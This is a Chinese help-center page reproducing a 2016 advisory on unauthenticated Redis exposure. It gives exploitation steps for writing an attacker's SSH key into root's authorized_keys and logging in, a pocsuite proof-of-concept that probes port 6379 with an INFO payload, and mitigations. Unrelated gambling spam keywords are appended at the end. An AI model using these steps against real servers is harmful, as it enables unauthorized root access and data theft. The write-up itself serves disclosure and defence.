• 1
  • 2
  • 3
  • 4
  • 5
mysql數據庫問題 首 頁  ?  幫助中心  »  數據庫  »  mysql數據庫問題
Redis 未授權訪問缺陷
發布日期:2016-4-27 13:4:3

   一、Redis概要

   成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

  二、漏洞描述

  Redis 安全模型的觀念: “請不要將Redis暴露在公開網絡中, 由于讓不受信任的客戶接觸到Redis是非常危險的” 。

  之所以Redis 作者放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環境中, 為了0.01%的可能性增加安全規則的同時也增加了復雜性, 盡管這個問題的并不是不能解決的, 但這在他的設計哲學中仍是不劃算的。

   由于其他受信任用戶需要使用Redis或者因為運維人員的疏忽等原因,部分Redis 綁定在0.0.0.0:6379,并且沒有開啟認證(這是Redis的默認配置),如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源ip訪問等(同樣可以用到mysql),將會導致Redis服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作。

  我們利用Redis自身的相關方法,可進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

  三、漏洞影響

     Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),并沒有開啟相關認證與添加相關安全策略情況下可受影響而導致被利用。

   通過ZoomEye 的搜索結果顯示,有97700在公網可以直接訪問的Redis服務。如圖1所示:


    圖1

  根據 ZoomEye 最新于2015年11月12日0點探測結果顯示:

  總的存在無驗證可直接利用 Redis 服務的目標全球有49099,其中中國有16477。其中被明著寫入crackit的,就是已被黑的比例分別是全球65%(3.1萬),中國67.5%(1.1萬)。

  3.1. 漏洞分析與利用

  首先在本地生產公私鑰文件,如圖2所示:


   圖2

  然后將公鑰寫入foo.txt文件,代碼如下所示:

  $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

  再連接Redis寫入文件,代碼如下所示:


圖3


圖4

  通過上面的方法,這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里,然后攻擊者直接執行以下所示的代碼:

  $ ssh –i id_rsa [email protected]

  即可遠程利用自己的私鑰登錄該服務器。

  當然,寫入的目錄不限于/root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過Redis很多以root權限運行,所以寫入root目錄下,可以跳過猜用戶的步驟。

  四、 Redis 未授權的其他危害與利用

   4.1 數據庫數據泄露 

    作為數據庫,Redis 保存著各種各樣的數據,若存在未授權訪問的情況,將會導致數據的泄露,其中包含保存的用戶信息等,如圖5所示:


     圖5

  4.2 代碼執行

    Redis可以嵌套Lua腳本的特性將會導致代碼執行, 危害同其他服務器端的代碼執行, 樣例如下所示:


  圖 6

  一旦攻擊者能夠在服務器端執行任意代碼, 攻擊方式就會變得多且復雜, 這是非常危險的.

  通過Lua代碼攻擊者可以調用 redis.sha1hex() 函數,惡意利用 Redis 服務器進行 SHA-1 的破解。

  4.3 敏感信息泄露

  通過 Redis 的 INFO 命令, 可查看服務器相關的參數和敏感信息, 為攻擊者的后續滲透做鋪墊,如圖7所示


   圖7

  我們可以看到泄露了很多 Redis 服務器的信息, 有當前 Redis 版本, 內存運行狀態, 服務端個數等等敏感信息。如以下所示的參考代碼:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授權訪問 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)

  

  圖8 全球無驗證可直接利用 Redis 分布情況


  圖9 全球無驗證可直接利用 Redis TOP 10 國家與地區

  五、解決方案

  1.目前的臨時解決方案

  •   配置bind選項, 限定可以連接Redis服務器的IP, 并修改redis的默認端口6379.
  •   配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
  •   配置rename-command CONFIG "RENAME_CONFIG", 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
  •   好消息是Redis作者表示將會開發”real user”,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如config

  2.官方解決方案

  目前暫無官方解決方案

  3.防護方案

  目前暫無防護方案

后面會更新mysql的相關文,請關注。

什么行业的讲师最赚钱 广西棋牌豆豆麻将 3d胆码拖码是什么意思 财牛配资 上海11选五推荐号码 金蟾千炮捕鱼无限金币 哪里有贵阳麻将群 香港最快现场直播 35选7开奖号码走势 四川金七乐开奖结果图 河北11选5前3走势图